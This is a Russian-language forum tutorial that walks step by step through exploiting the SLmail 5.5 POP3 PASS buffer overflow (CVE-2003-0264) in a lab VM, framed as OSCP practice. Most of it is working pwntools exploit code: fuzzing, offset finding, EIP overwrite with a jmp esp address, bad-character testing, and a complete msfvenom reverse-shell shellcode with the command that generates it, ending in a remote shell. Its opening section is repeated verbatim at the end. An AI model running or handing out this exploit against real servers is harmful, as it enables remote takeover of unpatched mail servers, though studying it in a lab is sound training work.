Morronel
22.07.2020, 06:39
Привет!
Выбирая цель для отработки навыков бинарной эксплуатации я услышал, что есть такой почтовый сервер, эксплуатация которого рассматривается на курсе PWK в рамках подготовки к OSCP. Я заинтересовался и решил попробовать самостоятельно проэксплуатировать это приложение, теперь я предлагаю вам сделать это вместе со мной.
Seattle Lab Mail (SLmail) 5.5 - POP3 'PASS' Remote Buffer Overflow (1)
Речь идет об SLmail версии 5.5, CVE 2003-0264, так что сразу говорю - зиродеев тут нет (С).
Идея в том, чтобы попытаться пройти по стопам людей которые занимались рисерчем 17 лет назад, и пошагово рассмотреть каждый этап эксплуатации, от фаззинга до получения реверс шелла.
https://forum.antichat.xyz/attachments/4887375/img_d549af09f9.png
Итак, чтобы повторить все это на своем компе нам понадобятся:
-VMware workstation.
-Виртуальная машина с windows 7 sp1 32bit. В теории вам подойдет любая винда начиная от xp sp1 32bit, но я рекомендую windows 7 sp1 32bit, на ней и буду показывать.
-Виртуальная машина, с которой мы будем атаковать. В теории, опять же, можете все это делать хоть на убунту, хоть на ninjutsu OS, но я буду пользоваться кали линуксом версии 2020.1. Там уже есть почти все необходимое.
Также, на виртуальную машину с windows 7, которую мы будем атаковать, нам нужно скачать и установить некоторый набор софта:
-Собственно, SLmail версии 5.5 вот отсюда Seattle Lab Mail (SLmail) 5.5 - POP3 'PASS' Remote Buffer Overflow (1)
-Immunity debugger Immunity Debugger
-Плагин Mona для Immunity debugger'а corelan/mona
Скачали? Установили? Врубаем музыку и поехали!
https://forum.antichat.xyz/attachments/4887375/img_10283af47e.png
Для начала, давайте разберемся, что именно мы собираемся атаковать. Итак, есть программа, почтовый сервер, SLmail. Одной из функций является удаленный доступ для администрирования. Он реализован через сервис, который запускается и начинает работать на 110 порту вместе со всеми остальными компонентами SLmail. Давайте разберемся с ним чуть поподробнее.
Нам нужно отключить фаерволл (иначе кали не сможет даже увидеть винду с ее сервисами и залогиниться удаленно будет невозможно в принципе), на всякий случай отключить ASLR (не уверен, создаст ли он проблемы, но я на всякий случай убрал), и запустить SLmail. После этого сканируем 110 порт nmapом
https://forum.antichat.xyz/attachments/4887375/img_a1e874469c.png
Видим что 110 порт открыт и готов к работе. Пробуем подключиться к нему используя netcat
https://forum.antichat.xyz/attachments/4887375/img_3db5fc3507.png
Тут нам предлагают ввести USER и PASS, чтобы авторизироваться
https://forum.antichat.xyz/attachments/4887375/img_bd0ab4fe84.png
Уязвимость кроется в том, как сервер обрабатывает команду PASS (достаточно символично, если вы спросите меня). Дело в том, что программисты допустили ошибку, когда писали обработчик этой команды, и в результате мы имеем переполнение буфера. Сейчас мы с вами будем его там искать и эксплуатировать.
Для начала, накидаем простенький скрипт, который будет коннектиться к серверу на 110 порт и отправлять какие-то строки, чтобы не вводить это каждый раз вручную через терминал (тем более, что мы собираемся вводить тысячи символов, делать это руками тупо неудобно). Я использую python2 и pwntools, что и вам рекомендую. Единственное что, можете взять третий питон вместо второго. А то ходят слухи, что второй питон скоро умрет. Правда, он все не умирает да не умирает... В любом случае, у вас выйдет что-то вроде этого:
Python:
from
pwn
import
*
p
=
remote
(
"192.168.0.102"
,
110
)
name
=
"username"
junk
=
"A"
*
10000
p
.
sendline
(
"USER "
+
name
)
print
p
.
recvline
(
)
p
.
send
(
"PASS "
+
junk
)
print
p
.
recvline
(
)
p
.
interactive
(
)
Теперь попытаемся запустить этот скрипт и вызвать краш. Если тут есть переполнение буфера, то после того как мы введем определенное количество символов вместо пароля (иногда это 1000 символов, иногда 100 000), то программа должна выдать ошибку и аварийно завершить выполнение. Забавно, что в нашем случае, она упадет только если приаттачить отладчик (мне понадобилось довольно много времени, чтобы выяснить это). Вам же я предлагаю сразу приаттачить отладчик к SLmail и запустить скрипт.
Запускаем Immunity Debugger , жмем на вкладку File, там attach. В выпавшем меню выбираем SLmail
https://forum.antichat.xyz/attachments/4887375/img_9bc6e7db7a.png
Нажимаем на кнопку "run" (иконка как "плей" на плеере), чтобы программа разморозилась и продолжила работу. Теперь мы возвращаемся в виртуалку кали и запускаем наш скрипт
https://forum.antichat.xyz/attachments/4887375/img_db28c99d6b.png
https://forum.antichat.xyz/attachments/4887375/img_ba25e2f80f.png
Бинго! Вот так вот мы "профаззили" команду PASS в одном из сервисов SLmail и убедились, что там есть переполнение буфера на стеке. Если мы проверим SLmail.exe скриптом Get-PESecurity, то увидим, что там нет абсолютно никакой защиты - ни NX, ни ASLR ни stack canary не используются, так что мы имеем идеальную цель для практики. Кстати, в рамках экзамена OSCP перечисленные защиты также не используются, там люди тоже имеют дело с таким вот ванильным переполнением буфера на стеке. Так вот, в этой ситуации мы будем строить наш пейлоад следующим образом:
1) Сначала у нас будет идти определенное количество мусорных байт (букв "А" например), чтобы забить буфер
2) После этого, мы кладем адрес гаджета jmp esp
3) Дальше оставляем небольшой nop sled и кладем наш шеллкод.
Теперь нам нужно посчитать оффсет - выяснить, сколько именно байт мы должны послать, чтобы вызвать переполнение. Есть множество разных способов это сделать, в этой ситуации я воспользуюсь утилитами pattern_create и pattern_offset из метасплоит фреймворка, так как они удобные, отлично работают, установлены по умолчанию в кали и разрешены на экзамене OSCP.
Для того, чтобы они посчитали нам оффсет, генерируем паттерн с помощью pattern_create
https://forum.antichat.xyz/attachments/4887375/img_d6c0363e2b.png
Теперь вставляем его вместо мусорных байт в наш скрипт. Пайтон подглючивает, когда ты в одну строчку пытаешься объявить слишком длинную строку, поэтому разбиваем паттерн на несколько кусочков.
Python:
from
pwn
import
*
p
=
remote
(
"192.168.0.105"
,
110
)
name
=
"username"
junk
=
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab 6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A d3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9 Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag 6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A i3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9 Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al 6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9 Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq 6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2A s3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9 Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av 6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2A x3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9 Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba 6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2B c3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9 Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf 6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B h3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9 Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk 6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2B m3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9 Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp 6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2B r3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9 Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu 6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2B w3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9 By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3"
junk
+=
"Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb 0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6C c7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3 Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg 0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6C h7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3 Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl 0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6C m7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3 Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq 0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6C r7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3 Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv 0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6C w7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3 Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da 0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6D b7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3 Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df 0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6D g7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3 Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk 0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6D l7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3 Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp 0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6D q7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3 Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du 0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6D v7Dv8Dv9"
payload
=
junk
p
.
sendline
(
"USER "
+
name
)
print
p
.
recvline
(
)
p
.
send
(
"PASS "
+
payload
)
print
p
.
recvline
(
)
p
.
interactive
(
)
Дважды перезапускаем SLmail (если перезапустить один раз - будет подглючивать), снова аттачим дебаггер и снова запускаем наш скрипт. Видим следующую картину:
https://forum.antichat.xyz/attachments/4887375/img_25b63d8100.png
https://forum.antichat.xyz/attachments/4887375/img_7c3e7d5eea.png
Нас интересует окошко с регистрами в дебаггере. Конкретно - регистр EIP. Копируем значение оттуда и скармливаем утилите pattern_offset
https://forum.antichat.xyz/attachments/4887375/img_1c6a7294a8.png
Вуаля, оффсет посчитан! Теперь, убедимся что мы контролируем регистр EIP. Давайте попробуем передать туда 4 буквы "B". Для этого чуть-чуть модифицируем наш скрипт
Python:
from
pwn
import
*
p
=
remote
(
"192.168.0.105"
,
110
)
name
=
"username"
junk
=
"A"
*
2606
eip
=
"BBBB"
payload
=
junk
+
eip
p
.
sendline
(
"USER "
+
name
)
print
p
.
recvline
(
)
p
.
send
(
"PASS "
+
payload
)
print
p
.
recvline
(
)
p
.
interactive
(
)
Теперь перезапускаем SLmail, снова цепляем отладчик и запускаем наш новый скрипт. Смотрим в отладчик
https://forum.antichat.xyz/attachments/4887375/img_60d4f64abc.png
https://forum.antichat.xyz/attachments/4887375/img_cd702cf1ef.png
Видим в регистре EIP значение 42424242. Мы успешно получили контроль над регистром EIP, первая часть пройдена. Теперь нам нужно выяснить, что же мы туда положим. Нам нужно найти в памяти программы адрес инструкции jmp esp, чтобы мы могли заставить EIP указывать на стек, и таким образом выполнить шеллкод оттуда. Искать адрес jmp esp вручную можно, но бессмысленно, если за нас это может сделать mona! Для начала посмотрим, в каких модулях mona может поискать для нас гаджеты. Делается это командой !mona modules
https://forum.antichat.xyz/attachments/4887375/img_79573bf97e.png
Нас интересуют модули, в которых нету ни Rebase, ни SafeSEH, ни ASLR, ни NXCompat. У меня тут целых три таких. Теперь начинаем искать уже конкретно по этим модулям по очереди командой !mona find -s '\xff\xe4' -m SLMFC.DLL
https://forum.antichat.xyz/attachments/4887375/img_29d5cc5984.png
Попробуем взять какой-то из этих адресов и прыгнуть на него. На случай, если все пройдет успешно, установим в месте приземления небольшой nop sled и halt инструкции (коды операций 0x90 и 0xcc соответственно). Теперь наш скрипт выглядит вот так:
Python:
from
pwn
import
*
p
=
remote
(
"192.168.0.105"
,
110
)
name
=
"username"
junk
=
"A"
*
2606
eip
=
"\x8f\x35\x4a\x5f"
#5f4a358f
nop
=
"\x90"
*
32
shellcode
=
"\xcc"
*
8
payload
=
junk
+
eip
+
nop
+
shellcode
p
.
sendline
(
"USER "
+
name
)
print
p
.
recvline
(
)
p
.
send
(
"PASS "
+
payload
)
print
p
.
recvline
(
)
p
.
interactive
(
)
Не забываем развернуть адрес который мы кладем в EIP, так как мы имеем дело с little-endian системой. Попробуем снова перезапустить все и запустить наш новый скрипт
https://forum.antichat.xyz/attachments/4887375/img_d2400ed40f.png
https://forum.antichat.xyz/attachments/4887375/img_9ea80ba83f.png
Мы видим, что наш шеллкод успешно отработал и остановился на наших halt. Мы уже получили примитив эксплоита - процессор на атакуемой машине уже выполняет те инструкции, которые мы ему даем. Теперь нам нужно получить что-то более интересное, чем выполнение инструкции "\xcc". Нам понадобится боевой шеллкод. Конечно, вы можете найти его где-то в интернете, или написать самостоятельно, но я воспользуюсь утилитой msfvenom. Вот команда, вам остается подставить туда свой айпи адрес
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.104 LPORT=1234 -a x86 -f py -b '\x00'
https://forum.antichat.xyz/attachments/4887375/img_1f9162c656.png
берем этот шеллкод и вставляем в свой скрипт вместо инструкций "\xcc". Также, открываем еще один терминал, и в нем запускаем неткат, слушающий все входящие подключения на 1234 порт, чтобы мы могли словить реверс шелл
https://forum.antichat.xyz/attachments/4887375/img_2c6f866b2c.png
Снова все перезапускаем и стартуем скрипт
https://forum.antichat.xyz/attachments/4887375/img_1190b54f82.png
https://forum.antichat.xyz/attachments/4887375/img_ebac2d522f.png
Шелл так и не прилетел, а программа крашнулась с ошибкой access violation. Я потратил довольно много времени, пытаясь понять, в чем может быть ошибка. В конечном счете, мне посоветовали проверить шеллкод на бедчары и это сработало. Этим и займемся.
Для того, чтобы проверить, какие символы будут плохими в нашем шеллкоде, нам нужно просто запихнуть все существующие байты от 0x00 до 0xff в стек и посмотреть, как он отреагирует. Чтобы не набирать этот список вручную - он легко гуглится по словам bad char list exploit. Нам нужно вставить этот список в наш скрипт. Получится что-то вроде этого (символ 0х00 я сразу отбросил):
Python:
from
pwn
import
*
p
=
remote
(
"192.168.0.105"
,
110
)
name
=
"username"
junk
=
"A"
*
2606
eip
=
"\x8f\x35\x4a\x5f"
#5f4a358f
nop
=
"\x90"
*
32
buf
=
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x 0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18 \x19\x1a\x1b\x1c\x1d\x1e\x1f"
buf
+=
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x 2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38 \x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
buf
+=
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x 4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59 \x5a\x5b\x5c\x5d\x5e\x5f"
buf
+=
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x 6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78 \x79\x7a\x7b\x7c\x7d\x7e\x7f"
buf
+=
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x 8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98 \x99\x9a\x9b\x9c\x9d\x9e\x9f"
buf
+=
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\x ac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8 \xb9\xba\xbb\xbc\xbd\xbe\xbf"
buf
+=
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\x cc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8 \xd9\xda\xdb\xdc\xdd\xde\xdf"
buf
+=
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\x ec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8 \xf9\xfa\xfb\xfc\xfd\xfe\xff"
payload
=
junk
+
eip
+
nop
+
buf
p
.
sendline
(
"USER "
+
name
)
print
p
.
recvline
(
)
p
.
send
(
"PASS "
+
payload
)
print
p
.
recvline
(
)
p
.
interactive
(
)
Снова все перезапускаем и пробуем наш скрипт
https://forum.antichat.xyz/attachments/4887375/img_88ce7050df.png
https://forum.antichat.xyz/attachments/4887375/img_2a73b0b8be.png
Теперь нас интересует правое нижнее окно в дебаггере, которое показывает нам стек. Смотрим, какие символы у нас хорошо легли на стек, а какие не очень. Видим что с 0x01 по 0x09 все нормально, а дальше какая-то билиберда. Значит 0x0a - бедчар. Записываем это себе куда-то, убираем 0x0a из нашего буфера в скрипте, и снова все перезапускаем, ничего не меняя кроме того, что мы убрали 0x0a. Снова смотрим на стек
https://forum.antichat.xyz/attachments/4887375/img_4a24b3bcc6.png
В этот раз картина уже получше, почти все скопировалось в стек. Непонятно только, куда делся байт 0x0d, так что и его тоже запишем в бедчары. Все остальные символы, вроде, на месте
Теперь, когда мы знаем, что бедчар не только 0х00, а еще и 0х0а и 0x0d, мы можем заново сгенерить наш шеллкод в msfvenom и вставить его в наш скрипт
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.104 LPORT=1234 -a x86 -f py -b '\x00\x0a\x0d'
Python:
from
pwn
import
*
p
=
remote
(
"192.168.0.105"
,
110
)
name
=
"username"
junk
=
"A"
*
2606
eip
=
"\x8f\x35\x4a\x5f"
#5f4a358f
nop
=
"\x90"
*
32
buf
=
""
buf
+=
"\xda\xcc\xbb\x1c\xe8\xc9\xf1\xd9\x74\x24\xf4\x5a\x 31"
buf
+=
"\xc9\xb1\x52\x83\xc2\x04\x31\x5a\x13\x03\x46\xfb\x 2b"
buf
+=
"\x04\x8a\x13\x29\xe7\x72\xe4\x4e\x61\x97\xd5\x4e\x 15"
buf
+=
"\xdc\x46\x7f\x5d\xb0\x6a\xf4\x33\x20\xf8\x78\x9c\x 47"
buf
+=
"\x49\x36\xfa\x66\x4a\x6b\x3e\xe9\xc8\x76\x13\xc9\x f1"
buf
+=
"\xb8\x66\x08\x35\xa4\x8b\x58\xee\xa2\x3e\x4c\x9b\x ff"
buf
+=
"\x82\xe7\xd7\xee\x82\x14\xaf\x11\xa2\x8b\xbb\x4b\x 64"
buf
+=
"\x2a\x6f\xe0\x2d\x34\x6c\xcd\xe4\xcf\x46\xb9\xf6\x 19"
buf
+=
"\x97\x42\x54\x64\x17\xb1\xa4\xa1\x90\x2a\xd3\xdb\x e2"
buf
+=
"\xd7\xe4\x18\x98\x03\x60\xba\x3a\xc7\xd2\x66\xba\x 04"
buf
+=
"\x84\xed\xb0\xe1\xc2\xa9\xd4\xf4\x07\xc2\xe1\x7d\x a6"
buf
+=
"\x04\x60\xc5\x8d\x80\x28\x9d\xac\x91\x94\x70\xd0\x c1"
buf
+=
"\x76\x2c\x74\x8a\x9b\x39\x05\xd1\xf3\x8e\x24\xe9\x 03"
buf
+=
"\x99\x3f\x9a\x31\x06\x94\x34\x7a\xcf\x32\xc3\x7d\x fa"
buf
+=
"\x83\x5b\x80\x05\xf4\x72\x47\x51\xa4\xec\x6e\xda\x 2f"
buf
+=
"\xec\x8f\x0f\xff\xbc\x3f\xe0\x40\x6c\x80\x50\x29\x 66"
buf
+=
"\x0f\x8e\x49\x89\xc5\xa7\xe0\x70\x8e\x07\x5c\x7a\x 26"
buf
+=
"\xe0\x9f\x7a\xb2\x22\x16\x9c\xd0\xd2\x7f\x37\x4d\x 4a"
buf
+=
"\xda\xc3\xec\x93\xf0\xae\x2f\x1f\xf7\x4f\xe1\xe8\x 72"
buf
+=
"\x43\x96\x18\xc9\x39\x31\x26\xe7\x55\xdd\xb5\x6c\x a5"
buf
+=
"\xa8\xa5\x3a\xf2\xfd\x18\x33\x96\x13\x02\xed\x84\x e9"
buf
+=
"\xd2\xd6\x0c\x36\x27\xd8\x8d\xbb\x13\xfe\x9d\x05\x 9b"
buf
+=
"\xba\xc9\xd9\xca\x14\xa7\x9f\xa4\xd6\x11\x76\x1a\x b1"
buf
+=
"\xf5\x0f\x50\x02\x83\x0f\xbd\xf4\x6b\xa1\x68\x41\x 94"
buf
+=
"\x0e\xfd\x45\xed\x72\x9d\xaa\x24\x37\xad\xe0\x64\x 1e"
buf
+=
"\x26\xad\xfd\x22\x2b\x4e\x28\x60\x52\xcd\xd8\x19\x a1"
buf
+=
"\xcd\xa9\x1c\xed\x49\x42\x6d\x7e\x3c\x64\xc2\x7f\x 15"
payload
=
junk
+
eip
+
nop
+
buf
p
.
sendline
(
"USER "
+
name
)
print
p
.
recvline
(
)
p
.
send
(
"PASS "
+
payload
)
print
p
.
recvline
(
)
p
.
interactive
(
)
Запускаем скрипт с новым шеллкодом
https://forum.antichat.xyz/attachments/4887375/img_eb43ed493a.png
https://forum.antichat.xyz/attachments/4887375/img_5f9ff2e3dd.png
В отладчике мы видим, что хоть мы и переполнили буфер - приложение не упало! Давайте посмотрим на вкладку с неткатом
https://forum.antichat.xyz/attachments/4887375/img_a698a28074.png
Вуаля, к нам прилетел реверс шелл! Старания, потраченные на написание эксплоита не пропали даром
Теперь попробуем повторить без отладчика.
https://forum.antichat.xyz/attachments/4887375/img_9045439a4c.png
https://forum.antichat.xyz/attachments/4887375/img_ef528b75c5.png
Результат тот же - мы получаем реверс шелл, причем с теми же правами, с которыми был запущен SLmail. Теперь можно попробовать порыться в компьютере и что-то сделать. Например, прочитать флаг с рабочего стола
https://forum.antichat.xyz/attachments/4887375/img_dca43e36ab.png
Вот, собственно, и все! Эксплоит написан, реверс шелл получен, а пост эксплуатация уже выходит за рамки этой статьи и рассматриваться не будет. Надеюсь что вы получили удовольствие и узнали для себя что-то полезное из этой статьи
Если вы дочитали до этого места - обязательно подписывайтесь на канал античат t.me/webware и на мой канал t.me/binary_xor
У себя на канале я собираю из интернета (и даже иногда пишу сам!) всякие разные штуки по теме низкоуровневого программирования, реверс инжиниринга и бинарных эксплуатаций, думаю что тем кто это читал будет интересно
Всем спасибо за внимание! До скорых встреч!
Выбирая цель для отработки навыков бинарной эксплуатации я услышал, что есть такой почтовый сервер, эксплуатация которого рассматривается на курсе PWK в рамках подготовки к OSCP. Я заинтересовался и решил попробовать самостоятельно проэксплуатировать это приложение, теперь я предлагаю вам сделать это вместе со мной.
Seattle Lab Mail (SLmail) 5.5 - POP3 'PASS' Remote Buffer Overflow (1)
Речь идет об SLmail версии 5.5, CVE 2003-0264, так что сразу говорю - зиродеев тут нет (С).
Идея в том, чтобы попытаться пройти по стопам людей которые занимались рисерчем 17 лет назад, и пошагово рассмотреть каждый этап эксплуатации, от фаззинга до получения реверс шелла.
https://forum.antichat.xyz/attachments/4887375/img_d549af09f9.png
Итак, чтобы повторить все это на своем компе нам понадобятся:
-VMware workstation.
-Виртуальная машина с windows 7 sp1 32bit. В теории вам подойдет любая винда начиная от xp sp1 32bit, но я рекомендую windows 7 sp1 32bit, на ней и буду показывать.
-Виртуальная машина, с которой мы будем атаковать. В теории, опять же, можете все это делать хоть на убунту, хоть на ninjutsu OS, но я буду пользоваться кали линуксом версии 2020.1. Там уже есть почти все необходимое.
Также, на виртуальную машину с windows 7, которую мы будем атаковать, нам нужно скачать и установить некоторый набор софта:
-Собственно, SLmail версии 5.5 вот отсюда Seattle Lab Mail (SLmail) 5.5 - POP3 'PASS' Remote Buffer Overflow (1)
-Immunity debugger Immunity Debugger
-Плагин Mona для Immunity debugger'а corelan/mona
Скачали? Установили? Врубаем музыку и поехали!
https://forum.antichat.xyz/attachments/4887375/img_10283af47e.png
Для начала, давайте разберемся, что именно мы собираемся атаковать. Итак, есть программа, почтовый сервер, SLmail. Одной из функций является удаленный доступ для администрирования. Он реализован через сервис, который запускается и начинает работать на 110 порту вместе со всеми остальными компонентами SLmail. Давайте разберемся с ним чуть поподробнее.
Нам нужно отключить фаерволл (иначе кали не сможет даже увидеть винду с ее сервисами и залогиниться удаленно будет невозможно в принципе), на всякий случай отключить ASLR (не уверен, создаст ли он проблемы, но я на всякий случай убрал), и запустить SLmail. После этого сканируем 110 порт nmapом
https://forum.antichat.xyz/attachments/4887375/img_a1e874469c.png
Видим что 110 порт открыт и готов к работе. Пробуем подключиться к нему используя netcat
https://forum.antichat.xyz/attachments/4887375/img_3db5fc3507.png
Тут нам предлагают ввести USER и PASS, чтобы авторизироваться
https://forum.antichat.xyz/attachments/4887375/img_bd0ab4fe84.png
Уязвимость кроется в том, как сервер обрабатывает команду PASS (достаточно символично, если вы спросите меня). Дело в том, что программисты допустили ошибку, когда писали обработчик этой команды, и в результате мы имеем переполнение буфера. Сейчас мы с вами будем его там искать и эксплуатировать.
Для начала, накидаем простенький скрипт, который будет коннектиться к серверу на 110 порт и отправлять какие-то строки, чтобы не вводить это каждый раз вручную через терминал (тем более, что мы собираемся вводить тысячи символов, делать это руками тупо неудобно). Я использую python2 и pwntools, что и вам рекомендую. Единственное что, можете взять третий питон вместо второго. А то ходят слухи, что второй питон скоро умрет. Правда, он все не умирает да не умирает... В любом случае, у вас выйдет что-то вроде этого:
Python:
from
pwn
import
*
p
=
remote
(
"192.168.0.102"
,
110
)
name
=
"username"
junk
=
"A"
*
10000
p
.
sendline
(
"USER "
+
name
)
p
.
recvline
(
)
p
.
send
(
"PASS "
+
junk
)
p
.
recvline
(
)
p
.
interactive
(
)
Теперь попытаемся запустить этот скрипт и вызвать краш. Если тут есть переполнение буфера, то после того как мы введем определенное количество символов вместо пароля (иногда это 1000 символов, иногда 100 000), то программа должна выдать ошибку и аварийно завершить выполнение. Забавно, что в нашем случае, она упадет только если приаттачить отладчик (мне понадобилось довольно много времени, чтобы выяснить это). Вам же я предлагаю сразу приаттачить отладчик к SLmail и запустить скрипт.
Запускаем Immunity Debugger , жмем на вкладку File, там attach. В выпавшем меню выбираем SLmail
https://forum.antichat.xyz/attachments/4887375/img_9bc6e7db7a.png
